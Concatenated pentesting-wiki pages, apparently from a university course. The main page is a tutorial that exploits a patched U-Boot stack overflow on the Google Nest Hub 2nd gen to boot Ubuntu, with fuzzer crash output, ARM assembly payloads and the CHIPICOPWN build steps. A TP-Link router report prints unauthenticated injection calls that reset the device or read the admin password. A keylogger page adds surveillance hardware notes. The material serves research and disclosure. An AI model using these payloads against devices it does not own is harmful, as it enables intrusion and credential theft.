The usage of a keylogger is fully legal as long as a clear notice is displayed, informing the user of the monitored equipment about the presence of a keystroke logger. We encourage the use of this equipment only for the purpose of monitoring your own computer, especially for protecting children against online hazards. It is NOT LEGAL to use a keylogger for the purpose of intercepting third party data, especially passwords, banking data, confidential correspondence, etc. If in doubt, please seek legal advice before using a keystroke logger. A good starting point is the U.S. Department of Justice Letter on Keystroke Monitoring and Login Banners, according to which a clear notice should be displayed, warning that user keystrokes may be logged.

[[File:This PC is monitored.PNG|600px|thumb|none|]]

=== Keyboard compability limitations [1] ===

The device will work with almost all types of physical USB keyboards (it won't work with internal laptop keyboards). It works fine with wireless keyboards, with exception of Bluetooth keyboards. It won't work a few types of keyboards with built-in high-speed USB hubs (primarily Apple A1243 and Dell KB522), for which the Mac/MCP series should be used. Support for some gaming keyboards is not fully guaranteed, as they often use proprietary protocols.

== Hardware Used ==

[[USB Keylogger Max 8GB]]

== References ==

* https://www.keelog.com/airdrive-keylogger-max-premium-usb-hardware-keylogger-with-wifi-and-flash-email-and-live-data-transfer/

[[Category:Documentation]]
[[Category:Pentesting]]

(Legacy) USB Vulnerability on Google Nest Hub

2024-03-12T17:29:36Z

Ikramer:

== Disclaimer ==

Article in progress, this is not the final version.
This tutorial has been patched by Google in December 2021 via OTA-update [update number WIP], now the booting sequence of the Recovery Mode does not work as intended for this exploit to work.

== Background ==
The USB Vulnerability on Google Nest Hub was an possible exploit found out by Frederic Bassé. His report is available at https://fredericb.info/2022/06/breaking-secure-boot-on-google-nest-hub-2nd-gen-to-run-ubuntu.html.

The possible firmware versions of the exploit were the following:

* factory firmware (2020/12) - U-Boot 2019.01-gbfc19012ea-dirty (Dec 11 2020 - 04:19:32 )
* factory firmware (2022/01, 2022/02) - U-Boot 2019.01-g9542d3593d-dirty (May 21 2021 - 20:52:42 )

As stated by Frederic Bassé, the vulnerability shouldn't even exist since it's already been twice fixed upstream (means the developers or maintainers at the source have identified and resolved the vulnerability in the software's codebase, hence the fix is integrated into the main version of the software). The lack of CVE may explain why it hasn't been propagated downstream. (means the fix has been disseminated to the various versions or distributions that use the affected code. This can involve updating software packages, releasing new versions, or providing patches.)

Beware that the Google Nest Hub will be receiving incoming upgrades for its firmware as soon as it receives a WLAN Signal (Firmware-Update-Over-The-Air, the Update is sent from the Google Servers wireless to the end device) and downgrading the firmware afterwards is not easily done.

In conclusion you will need a device with a manufacturing date listed above and you must not connect it to WiFi or else the firmware version will be upgraded.

The exploit essentially broke down in the following procedures:

=== Hardware exploration ===
As described on Electronics360 (Link in References), the Google Nest Hub is based on the SoC Amlogic S905D3G. Additionally there is a hidden Micro USB Port, which is used for debugging and normally not to be used by customers. This Micro USB Port is together with the power supply separated from the mainboard on an extra module. The two modules are connected with a 16-pin Flexible Flat Cable. Since the Micro USB 2.0 only requires 3 pins (the port has no power supply) and the power supply itself 11 pins, two pins are remaining. Measuring the voltage on these pins showed that one of these Pins is constant near-0V and the other fluctuates between 0 and 3.3V. This is suitable for an UART port. Via a debugging board with the right FFC connector (16-pin, 0.5mm pitch) one is able to gain access to UART, USB and the power supply.

Via the UART port we can obtain the logs being sent during booting process by using an USB-to-Serial Adapter. Bootloader and U-Boot logs can be seen. When pressing both volume buttons, the Nest is trying to load a file named recovery.img from an external USB flash drive.

=== Software exploration ===
Said USB recovery mechanism is implemented in U-Boot, which is open source.
By grepping the recovery.img, a function named recovery_from_udisk is found:

"recovery_from_udisk=" \
"while true ;do " \
"usb reset; " \
"if fatload usb 0 ${loadaddr} recovery.img; then "\
"bootm ${loadaddr};" \
"fi;" \
"done;" \
"\0" \

Furthermore the function bootm, shown in the following lines, shows that recovery_from_udisk is activated when both volume buttons (GPIOZ_5 and GPIOZ_6) are being pressed.

"upgrade_key=" \
"if gpio input GPIOZ_5; then " \
"echo detect VOL_UP pressed;" \
"if gpio input GPIOZ_6; then " \
"echo VOL_DN pressed;" \
"setenv boot_external_image 1;" \
"run recovery_from_udisk;" \
[...]

The recovery.img is verified by another function, aml_sec_boot_check. This verification needs to be bypassed in order to load a custom OS.

To estimate the attack surface from the USB interface, we can take a look at the call flow triggered by the recovery feature:
[[File:Uboot-cfg.png|500px|thumb|Uboot call flow diagram]]
Basically usb reset exposes the USB driver when it performs USB enumeration,
and fatload exposes several drivers : USB, Mass Storage, DOS partition, FAT filesystem.
The bootm attack surface is very limited since it starts by calling the signature verification routine aml_sec_boot_check, which cannot be reviewed because it's implemented in TrustZone (no source code or binary available at this moment)

It is known that U-Boot implements a sandbox architecture that allows it to run as a Linux user-space application. This feature is a convenient starting point to build a fuzzer for U-Boot code. Fuzz testing, or fuzzing, is a software testing technique where automated tools input random or unexpected data into a program to discover vulnerabilities, bugs, or unexpected behavior. A fuzzing harness that injects data in blk_dread (function that reads data from a block device), and triggers execution by calling fat_read_file shows that the USB Mass Storage driver sets multiple parameters in structure blk_desc that describe the detected block device in initialized state.

One of these parameters is the block size (blk_desc.blksz) of the block device (which is an USB flash drive in our case). This value is obtained from the block device by sending command READ CAPACITY, which means attacker controls it.

When tinkering with the block size, the following crash message could be detected:

$ ./fuzz
INFO: Seed: 473398954
INFO: Loaded 1 modules (1402 inline 8-bit counters): 1402 [0x5aa0c0, 0x5aa63a),
INFO: Loaded 1 PC tables (1402 PCs): 1402 [0x57ada0,0x580540),
=================================================================
==5892==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe6db4bb3f at pc 0x0000004f16af bp 0x7ffe6db4b790 sp 0x7ffe6db4af40
WRITE of size 32768 at 0x7ffe6db4bb3f thread T0
#0 0x4f16ae in __asan_memset (/u-boot-elaine/fuzzer/fuzz+0x4f16ae)
#1 0x55a8cf in blk_dread /u-boot-elaine/fuzzer/blk.c:153:13
#2 0x5284b1 in part_test_dos /u-boot-elaine/disk/part_dos.c:96:6
#3 0x521f52 in part_init /u-boot-elaine/disk/part.c:242:9
#4 0x55b494 in usb_stor_probe_device /u-boot-elaine/fuzzer/usb_storage.c:41:5
#5 0x55b648 in LLVMFuzzerTestOneInput /u-boot-elaine/fuzzer/fuzz.c:42:5
#6 0x42ee1a in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/u-boot-elaine/fuzzer/fuzz+0x42ee1a)
#7 0x43052a in fuzzer::Fuzzer::ReadAndExecuteSeedCorpora(std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, fuzzer::fuzzer_allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > const&) (/u-boot-elaine/fuzzer/fuzz+0x43052a)
#8 0x430bf5 in fuzzer::Fuzzer::Loop(std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, fuzzer::fuzzer_allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > const&) (/u-boot-elaine/fuzzer/fuzz+0x430bf5)
#9 0x426e00 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/u-boot-elaine/fuzzer/fuzz+0x426e00)
#10 0x44a412 in main (/u-boot-elaine/fuzzer/fuzz+0x44a412)
#11 0x7b733912f09a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2409a)
#12 0x420919 in _start (/u-boot-elaine/fuzzer/fuzz+0x420919)

Address 0x7ffe6db4bb3f is located in stack of thread T0 at offset 607 in frame
#0 0x5282ff in part_test_dos /u-boot-elaine/disk/part_dos.c:90

This frame has 1 object(s):
[32, 607) '__mbr' (line 92) <== Memory access at offset 607 overflows this variable

AddressSanitizer detected a stack buffer overflow in part_test_dos. This function is called to detect a DOS partition table when an USB Mass Storage device is connected.

It is interesting to note that - while the crash occurs in DOS partition layer - the invalid size at the origin of the crash is set by the USB Mass Storage layer. This suggests that it is unlikely to find this bug if layers are fuzzed independently.

The crash is caused by a simple bug in function part_test_dos :

static int part_test_dos(struct blk_desc *dev_desc)
{
[...]
(1) ALLOC_CACHE_ALIGN_BUFFER(legacy_mbr, mbr, 1);

(2) if (blk_dread(dev_desc, 0, 1, (ulong *)mbr) != 1)

The Buffer mbr of 512 bytes (sizeof(legacy_mbr)) is allocated on the stack.
The Function blk_dread reads 1 block at address 0 from block device dev_desc and writes data to buffer mbr.

If the block size (dev_desc->blksz) is larger than 512, function blk_dread overflows the buffer mbr.

The block size can be controlled by attacker. Generally most USB flash drives have a block size of 512 bytes, and it cannot be customized easily. So it is required to build one, for example with an Raspberry.

=== Building exploitation device ===

A Raspberry Pico is being used for this project due to being cheap and being supported by TinyUSB (open source cross-platform USBHost-Device stack). TinyUSB enables one to build a customizable flash drive out of the Raspberry Pico.

==== Is the device vulnerable? ====
In order to check if the Nest is vulnerable to the bug, the block size is being changed to 1024 instead of the maximal supported 512 bytes.

When the Pico is connected to the Nest USB-Port, the UART log shows that the Pico is being detected as Mass Storage with 1024-byte logical blocks:

usb 1-2: New USB device found, idVendor=cafe, idProduct=4003, bcdDevice= 1.00
usb 1-2: New USB device strings: Mfr=1, Product=2, SerialNumber=3
usb 1-2: Product: TinyUSB Device
usb 1-2: Manufacturer: TinyUSB
usb 1-2: SerialNumber: 123456789012
usb-storage 1-2:1.0: USB Mass Storage device detected
scsi host0: usb-storage 1-2:1.0
scsi host0: scsi scan: INQUIRY result too short (5), using 36
scsi 0:0:0:0: Direct-Access TinyUSB Mass Storage 1.0 PQ: 0 ANSI: 2
sd 0:0:0:0: Attached scsi generic sg0 type 0
sd 0:0:0:0: [sda] 16 1024-byte logical blocks: (16.4 kB/16.0 KiB)
sd 0:0:0:0: [sda] Write Protect is off
sd 0:0:0:0: [sda] Mode Sense: 03 00 00 00
sd 0:0:0:0: [sda] No Caching mode page found
sd 0:0:0:0: [sda] Assuming drive cache: write through
sda:
sd 0:0:0:0: [sda] Attached SCSI removable disk

When booting the Nest and enabling the recovery mode by pressing both volume buttons, the Pico now is causing an exception. The UART log additionally provides us with some registers:

"Synchronous Abort" handler, esr 0x02000000
elr: ffffffff8110e000 lr : ffffffff8110e000 (reloc)
elr: 0000000000000000 lr : 0000000000000000
x0 : 0000000000000002 x1 : 0000000000000000
x2 : 0000000000000000 x3 : 0000000000000000
x4 : 000000007bed5b00 x5 : fffffffffffffff8
x6 : 0000000000000000 x7 : 0000000000000000
x8 : 0000000000000001 x9 : 0000000000000008
x10: 000000007c0021b0 x11: 000000007c009b80
x12: 0000000000000001 x13: 0000000000000001
x14: 000000007bed5c4c x15: 00000000ffffffff
x16: 0000000000004060 x17: 0000000000000084
x18: 000000007bee1dc8 x19: 0000000000000000
x20: 0000000000000000 x21: 0000000000000000
x22: 000000000000002a x23: 000000007c008490
x24: 000000007c008490 x25: 000000007ffdcd80
x26: 0000000000000000 x27: 0000000000000000
x28: 000000007c009ac0 x29: 0000000000000000

Resetting CPU ...

This is a good indicator that the device indeed is vulnerable to the bug.
We see also the global data pointer "gd" which is stored in register x18.
The bug allows to overflow a buffer on the stack to overwrite a return address.

U-Boot source code (https://drive.google.com/file/d/1euEvmbInWddUFAhMhHe628WAnpdYpGIa/view?usp=sharing) shows us that stack top is located below said gd.

==== Acquiring the offset of payload address ====

Now to look for the offset in the payload that is sufficient to overwrite the return address, a payload with incremental arbitrary invalid pointers is forged and used as block 0 of the device.

.text
.global _start

_start:
.word 0xFFFFFC00
.word 0xFFFFFC01
.word 0xFFFFFC02
[...]
.word 0xFFFFFFFF

The pico crashes this time with following error message:

"Synchronous Abort" handler, esr 0x8a000000
elr: fffffc8f8110dc8e lr : fffffc8f8110dc8e (reloc)
elr: fffffc8ffffffc8e lr : fffffc8ffffffc8e
x0 : 00000000ffffffff x1 : 0000000000000001
x2 : 000000007bed5888 x3 : 0000000000000000
x4 : 0000000000001000 x5 : 0000000000000200
x6 : fffffffffffffffe x7 : 0000000000000000
x8 : 0000000000000001 x9 : 0000000000000008
x10: 000000007c0021b0 x11: 000000007c009b80
x12: 0000000000000001 x13: 0000000000000001
x14: 000000007bed5c4c x15: 00000000ffffffff
x16: 0000000000004060 x17: 0000000000000084
x18: 000000007bee1dc8 x19: fffffc91fffffc90
x20: fffffc93fffffc92 x21: fffffc95fffffc94
x22: 000000000000002a x23: 000000007c008490
x24: 000000007c008490 x25: 000000007ffdcd80
x26: 0000000000000000 x27: 0000000000000000
x28: 000000007c009ac0 x29: fffffc8dfffffc8c

Resetting CPU ...

The link register lr contains an invalid pointer : fffffc8ffffffc8e.
The values 0xFFFFFC8E and 0xFFFFFC8F are being recognized from the above payload. This means the offset is 0x238 (0x8e * 4 bytes).

==== Determine the start address of payload ====

Now it is required to determine the start address of the payload to be able to execute it.
We already know that stack top is located below gd address (register x18).
Maximum allowed block size is 0x8000, hence we have 8.185 branch instructions. We only need the address of any of these.

A guess would be: (gd - 0x8000) = (0x7bee1dc8 - 0x8000) = 0x7BED9DC8.

The pico code needs to be updated to use this new payload:

.text
.global _start

_start:
b _payload
b _payload
[...]
.dword 0x7BED9DC8 // payload pointer at offset 0x238
[...]
b _payload
b _payload
_payload:
adr x19, _start
mov x20, x30
mov x21, sp
mov x22, #0xcafe
blr x13

The first instruction adr sets register x19 to the payload's start address. The last instruction blr branches to an invalid pointer x13 to ensure a crash, and thus dump registers on UART.

The pico, when using the new payload, shows the following:

"Synchronous Abort" handler, esr 0x8a000000
elr: ffffffff8110e001 lr : fffffffffcfeb700 (reloc)
elr: 0000000000000001 lr : 000000007bedd700
x0 : 00000000ffffffff x1 : 0000000000000001
x2 : 000000007bed5888 x3 : 0000000000000000
x4 : 0000000000008000 x5 : 0000000000000200
x6 : d63f01a0d2995fd6 x7 : 0000000000000000
x8 : 0000000000000001 x9 : 0000000000000008
x10: 000000007c0021b0 x11: 000000007c009b80
x12: 0000000000000001 x13: 0000000000000001
x14: 000000007bed5c4c x15: 00000000ffffffff
x16: 0000000000004060 x17: 0000000000000084
x18: 000000007bee1dc8 x19: 000000007bed5700
x20: 000000007bed9dc8 x21: 000000007bed5960
x22: 000000000000cafe x23: 000000007c008490
x24: 000000007c008490 x25: 000000007ffdcd80
x26: 0000000000000000 x27: 0000000000000000
x28: 000000007c009ac0 x29: 14001f6e14001f6f

Resetting CPU ...

Register x22 contains the flag that indicates the payload was executed successfully. And x19 reveals that payload's start address is 0x7bed5700.

To summarize, an USB Mass Storage device with following attributes is required:

* block size of 1024, 2048, 4096, 8192, 16384 or 32768 bytes
* payload contained in block 0
* value 0x000000007bed5700 set at offset 0x238 in block 0

==== Calling the bootloader ====

This elevates us to execute arbitrary code. If we manage to obtain the bootloader, we can call the bootloader code in-memory, which is easier than setting up a baremetal payload for loading a whole OS.

https://github.com/frederic/chipicopwn/blob/main/payloads/memdump_over_uart.c shows the required payload for dumping RAM Memory over the UART.

First the gd structure (found on register x18) which contains a pointer to the bootloader code is being dumped.

Variable gd->relocaddr indicates that the bootloader is at 0x7fef2000. We dump memory from this address up to gd->ram_top.

==== Final Payload for the exploit ====

We create a payload that elevates us to use U-Boot built-in commands.
This final payload
* fixes (in RAM) the bug we just exploited
* calls U-Boot function run_command_list with _command_list as argument
* sets the download buffer (0x01000000) as return address to execute next stage (if any)

.text
.global _start
_start:
sub sp, sp, #0x1000 // move SP below us to avoid being overwritten when calling functions
ldr x0, _bug_ptr
ldr x1, _bug_fix
str x1, [x0] // fix the bug we just exploited
adr x0, _command_list
mov w1, #0xffffffff
mov w2, #0x0
ldr x30, _download_buf // set LR to download buffer
ldr x3, _run_command_list // load binary into download buffer
br x3

_bug_ptr: .dword 0x7ff26060
_bug_fix: .dword 0xd65f03c0d2800000
_download_buf: .dword 0x01000000
_run_command_list: .dword 0x7ff24720
_command_list: .asciz "echo CHIPICOPWN!;osd setcolor 0x1b0d2b0d;usb reset;fatload usb 0 0x8000000 CHIPICOPWN.BMP;bmp display 0x8000000;while true;do usb reset;if fatload usb 0 0x01000000 u-boot-elaine.bin;then echo yolo;exit;fi;done;"

The U-Boot commands in _command_list load 2 files from the first FAT partition of USB Mass Storage device:

* CHIPICOPWN.BMP : the logo to display
* u-boot-elaine.bin : the next payload to run. In our case, a custom U-Boot image.

Once the function run_command_list returns, the next payload is executed.

Since Rasperry Pi Pico flash memory is limited, we can put the file u-boot-elaine.bin on another USB flash drive that is hot-swapped with the Pico.

Now we can boot an unsigned(!) OS. A good example would be the Ubuntu image for Raspberry Pi Generic (64-bit ARM), available at https://cdimage.ubuntu.com/releases/22.04/release/

In conclusion we now have the
* custom U-Boot bootloader with disabled secure boot: https://github.com/frederic/elaine-u-boot
* custom Linux kernel for elaine for using peripherals: https://github.com/frederic/elaine-linux/commit/11068237d9178e77d79e3a5d27fc4f8f9b923c51
** note that the initial ramdisk had been repacked to be compatible with the Nest's touchscreen

These files are copied to the Ubuntu USB flash drive.

At last, we can plug in the Raspberry Pico, hotswap it with the USB drive when the logo shows up and we can install Ubuntu.

== Summary ==
We want to change the OS of a Google Nest Hub 2. Generation by exploiting a vulnerability in the bootloader u-boot.

== Requirements ==

* 1x Google Nest Hub, 2nd Generation --> [[Nest_Hub_2nd_Generation]]
* 1x Raspberry Pi Pico
* 1x Powered Micro-USB Hub (NestUSB does not provide power)
* 2x Micro-USB cables
* 1x UART to USB
* 1x bootable USB Stick with Ubuntu 22.04 and the files from https://github.com/frederic/elaine-bootimg (Elaine bootimg gives privilege to use the Nest touchscreen for the Linux OS)

== Description ==

=== Step 1: Flashing Ubuntu USB Stick ===

Flash an USB stick with Ubuntu 22.04, if you haven't done earlier. You can use Rufus or Etcher for this task.

[[File:01_rufus_for_bootUSB.jpeg|500px|thumb|right|rufusflash]]

=== Step 2: Refining Ubuntu USB Stick ===

In order to be compatible with the touchscreen of the nest, we need to adjust some files in partition system boot.

Copy the following files from the repository https://github.com/frederic/elaine-bootimg in partition system-boot :
* u-boot-elaine.bin : U-Boot image for elaine
* u-boot-elaine.cmd : U-Boot environment file
* boot.img : Boot image (Kernel for elaine, DTB, initrd)

=== Step 3: Theoretical Background ===

The exploit is made possible because there is a stack overflow within the bootloader u-Boot, which happens with block sizes greater than 512 bytes. Most USB-Sticks only support 512 Bytes. The solution is taking a suitable microcontroller, in our case a Raspberry Pico, which is equipped with TinyUSB, which provides a Mass Storage device example code that can turn a Raspberry Pi Pico into a customizable USB flash drive.
This Pico will be used to inject arbitrary payload into the stack memory and overwrite return address to execute the payload.
However, the storage of the pico is very limited, hence we will have to hotswap the pico with our USB Stick, which contains all neccessary data to install the OS.

=== Step 4: Preparing The Raspberry Pico ===

For the Pico we will have to prepare the following:

1. Install dependencies
Update the system:
sudo apt-get update

Install dependencies:
sudo apt install git
sudo apt install openocd
sudo apt install gcc-multilib
sudo apt install build-essential
sudo apt install python3-serial
sudo apt install libudev-dev
sudo apt install cmake gcc-arm-none-eabi libnewlib-arm-none-eabi build-essential
sudo apt install libstdc++-arm-none-eabi-newlib

Create workspace, current location /home/
mkdir pico
cd pico

Clone pico-sdk and update it, current location /home/pico/
git clone https://github.com/raspberrypi/pico-sdk.git --branch master
cd pico-sdk
git submodule update --init

In the Pico folder we do clone our chipicopwn, current location /home/pico/

sudo git clone https://github.com/frederic/chipicopwn chipicopwn
cd chipicopwn

Now we need the commands from the repository:
Set the Path to wherever you saved your pico-sdk repository
export PICO_SDK_PATH=/home/user/pico/pico-sdk/

!! If you have this in the home directory do not use relative paths, since this command is executed as root!

Flashing the program, current location /home/pico/chipicopwn
It may be that a build folder already exists. It is recommended to delete it and make a new one, since some files may or may not work / flash as intended.

mkdir build
cd build
sudo cmake ..
sudo make

Now the project should be built.
Now we need to boot the Pico in bootloader mode (by holding down the BOOTSEL button) and get the chipicopwn.uf2 on the pico device itself by copying it.

Now we should have two hardware components prepared:

The USB Stick with the Ubuntu Image optimized for touchscreen and the Raspberry Pico with the modified bootloader.

=== Step 5: Preparing The Hardware ===

Remove the lid underneath the Nest Hub base to expose USB port
Connect the Raspberry Pico to Nest Hub (through powered-hub or Y-cable because the USB port does not provide power)
[[File:HardwareCabled.png|500px|thumb|right|Verkabelte Hardware]]
Hold Volume Down + Volume Up + Mute buttons while powering on the Nest Hub
Once CHIPICOPWN logo appears on screen, replace the Raspberry Pico with USB flash drive

Now you can install Ubuntu on your Google Nest.

=== Result ===
[[File:Demonstration.png|500px|thumb|Demonstration]]

== Used Hardware ==

[[Nest_Hub_2nd_Generation]]
[[Raspberry Pi Pico]]
[[Powered Micro-USB Hub]]
[[Micro-USB cable]]
optional for log insight: [[UART to USB Adapter]]

== Courses ==

* [[WFP2]] (2023)

== References ==

* https://fredericb.info/2022/06/breaking-secure-boot-on-google-nest-hub-2nd-gen-to-run-ubuntu.html
* https://github.com/frederic/chipicopwn
* https://github.com/frederic/elaine-bootimg

Teardown Links:

https://electronics360.globalspec.com/article/17053/teardown-google-nest-hub-2nd-gen
https://fccid.io/A4RGUIK2/Internal-Photos/Internal-Photos-20200702-v1-Internal-Photos-5035937?utm_content=cmp-true

[[Category:Documentation]]
[[Category:Pentesting]]

Examination of LUPUS-Electronics devices

2024-03-12T17:27:45Z

Ikramer:

Examination of iSmartAlarm devices

2024-03-12T17:27:00Z

Ikramer:

Examination of TP-Link devices

2024-03-12T17:25:56Z

Ikramer:

<div style="max-width: 970px">

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="font-weight: normal;line-height:1.6;">ⓘ Table of Contents</div>
<div class="mw-collapsible-content">
__TOC__
</div>
</div>

<h1>Summary</h1>
<p style="text-align: justify">"With a market share of over 40 percent of the global consumer WLAN market, TP-Link is the No. 1 WLAN provider." <sup>[[https://www.tp-link.com/at/home-networking/wifi-router/tl-wr902ac/ IDC Q4/2018]]</sup> The TP-Link AC750 Wifi Travel Router (TL-WR902AC FW170828) transmittes Base64 encoded username:password as Authorisation cookie on every GET/POST request over non-encrypted HTTP. In addition, this is transmitted every 20 seconds in the form of a heartbeat message. But these credentials aren't even necessary, since tons of different CGI actions, ranging from Getter and Setter to System modifications, can be called from the login screen using JavaScript Injection (e.g. Factory reset: <code>$.act(ACT_OP, ACT_OP_FACTORY_RESET); $.act(ACT_OP, ACT_OP_REBOOT); $.exe();</code>; Get Login Credentials: <code>$.act(ACT_GET, USER_CFG, null, null, ["adminName", "adminPwd"]); $.exe();</code>) without the need of any authorization.</p>

<h1>Introduction</h1>
<p style="text-align: justify">TP-Link is a worldwide leading manufacturer of Smart - Communication products which has made a name for itself in Europe, especially in the D-A-CH region, through efficient, reliable products and services. TP-Link Deutschland GmbH has been in existence since April 2009. Through their renowned distribution, online and retail partners, they sell an extensive range of award-winning SOHO products (WLAN, DSL, Powerline, Repeater, UMTS/LTE, print servers, IP cameras, smart home and smart phones) and SMB products (switch, router, SFP modules, media converters, network adapters). With a market share of over 40 percent of the global consumer WLAN market, TP-Link is the No. 1 WLAN provider<sup>[IDC Q4/2018]</sup>. Their goal is to provide the ever-growing number of users with products of the highest quality and performance while maintaining competitive prices, and thus remain the No.1 in the long term. In 2018, TP-Link sold 200 million devices worldwide, generating sales of around USD 2.2 billion. The company currently employs around 26,000 people worldwide (as of January 2019).</p>
<p style="text-align: justify"><b>Source</b>: [[https://www.tp-link.com/at/about-us/corporate-profile/ TP-Link Profile]]</p>

<h1>TL-WR902AC: AC750 Wifi - Travel Router</h1>
<p style="text-align: justify">The incredibly compact TL-WR902AC is the world’s first AC750 travel router. It creates a personal Wi-Fi spot anywhere internet is available and transforms any internet connection into a private AC750 dual-band Wi-Fi network. The TL-WR902AC supports Router, Hotspot, Range Extender, Client and Access Point Modes.</p>
<p style="text-align: justify"><b>Source</b>: [[https://www.tp-link.com/at/home-networking/wifi-router/tl-wr902ac/ Product]]</p>

<h1>TL-WR802N: 300Mbps Wireless N - Nano Router</h1>
<p style="text-align: justify">The TL-WR802N is the smallest wireless router in the world. It is very easy to use and is a perfect choice for travelers, students, and anyone else who lives life on the go. The TL-WR802N can be powered using the included power adapter or using a smartphone /USB charger. To meet the wireless needs of almost any situation you might encounter, the TL-WR802N supports Router, Hotspot, Range Extender, Client and Access Point Modes.</p>
<p style="text-align: justify"><b>Source</b>: [[https://www.tp-link.com/at/home-networking/wifi-router/tl-wr802n/ Product]]</p>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The analyzed device has Hardware V4 but the Austrian webpage only supports V1 and V2 ([https://www.tp-link.com/at/support/download/tl-wr802n/v1/#Firmware Link]). But the German webpage supports Harware V1 to V4 ([https://www.tp-link.com/de/support/download/tl-wr802n/v1/#Firmware Link]) like most of the other regional support webpages.</div>
<table class="wikitable" style="width: 100%">
<tr>
<th style="text-align: left; width: 150px">Mode</th>
<th style="text-align: left">Description</th>
</tr>
<tr>
<td style="width: 150px">Router Mode</td>
<td style="background-color: white">Create a private Wi-Fi network for Ethernet-based internet access.</td>
</tr>
<tr>
<td style="width: 150px">Hotspot Mode</td>
<td style="background-color: white">Connect to an outdoor WISP Access Point, enjoy a private Wi-Fi hotspot for your devices in public areas.</td>
</tr>
<tr>
<td style="width: 150px">Range Extender Mode</td>
<td style="background-color: white">Extend your existing Wi-Fi network to maximize coverage and eliminate dead zones.</td>
</tr>
<tr>
<td style="width: 150px">Client Mode</td>
<td style="background-color: white">Allow devices that require a wired connection to access an existing Wi-Fi network.</td>
</tr>
<tr>
<td style="width: 150px">Access Point Mode</td>
<td style="background-color: white">Create a wireless network for Wi-Fi enabled devices.</td>
</tr>
</table>

<h1>Examination</h1>
<h2>Summary</h2>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; width: calc(100% - 12px);; overflow:auto;">
<div style="line-height:1.6;">ⓘ Collected Information</div>
<div class="mw-collapsible-content">

<table class="wikitable" style="background-color: white">
<tr style="background-color: grey; font-weight: bold; border-color: black">
<td style="border-color: black">Device Model</td>
<td style="border-color: black">TL-WR902AC</td>
<td style="border-color: black">TL-WR802N</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Manufacturer</td>
<td style="background-color: white; border-color: black">TP-Link</td>
<td style="background-color: white; border-color: black">TP-Link</td>
</tr>
<tr>
<td style="background-color: darkgrey;border-color: black">Product Type</td>
<td style="background-color: white; border-color: black">AC750 Wifi Travel Router</td>
<td style="background-color: white; border-color: black">300 Mbps Wireless Nano Router</td>
</tr>
<tr>
<td style="background-color: darkgrey;border-color: black">Description</td>
<td style="background-color: white; border-color: black">Transforms any internet connection into a private AC750 dual-band Wi-Fi network</td>
<td style="background-color: white; border-color: black">The the smallest wireless N router in the world.</td>
</tr>
<tr>
<td style="background-color: darkgrey;border-color: black">Price on Release</td>
<td style="background-color: white; border-color: black">38€</td>
<td style="background-color: white; border-color: black">28€</td>
</tr>
<tr>
<td style="background-color: darkgrey;border-color: black">Release</td>
<td style="background-color: white; border-color: black">2017 Q1 (Ongoing as of July 2020)</td>
<td style="background-color: white; border-color: black">2015 Q2 (Ongoing as of July 2020)</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: darkgrey;border-color: black">State of Research</td>
<td style="background-color: white; border-color: black">Multiple vulnerabilities</td>
<td style="background-color: white; border-color: black">Some vulnerabilities, Ongoing Examination</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Ports</td>
<td style="background-color: white; border-color: black">USB 2.0, 10/100Mbps WAN/LAN Port</td>
<td style="background-color: white; border-color: black">10/100 Mbps WAN/LAN Port</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Buttons</td>
<td style="background-color: white; border-color: black">Reset, WPS</td>
<td style="background-color: white; border-color: black">Reset</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">LED</td>
<td style="background-color: white; border-color: black">Power/Status, WAN, WLAN, USB</td>
<td style="background-color: white; border-color: black">Power/Status</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Power</td>
<td style="background-color: white; border-color: black">5V/2A DC</td>
<td style="background-color: white; border-color: black">5V/1A DC</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">WLAN</td>
<td style="background-color: white; border-color: black">2.4GHz: 802.11b/g/n (Up to 300Mbps), 5GHz: 802.11ac/n/a (Up to 433Mbps)</td>
<td style="background-color: white; border-color: black">2.4GHz: 802.11b/g/n (Up to 300Mbps)</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Other</td>
<td style="background-color: white; border-color: black">3 Mode Switch</td>
<td style="background-color: lightgrey;border-color: black">N/A</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">FCC-ID</td>
<td style="background-color: white; border-color: black">TE7WR902ACV3</td>
<td style="background-color: white; border-color: black">TE7WR802NV4</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">System</td>
<td style="background-color: white; border-color: black">Ralink APSoC</td>
<td style="background-color: white; border-color: black"></td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Processor</td>
<td style="background-color: white; border-color: black">MT7628 MIPS24KEc V5.5 (580 MHz)</td>
<td style="background-color: white; border-color: black"></td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">BogoMIPS</td>
<td style="background-color: white; border-color: black">386.04</td>
<td style="background-color: white; border-color: black"></td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Memory</td>
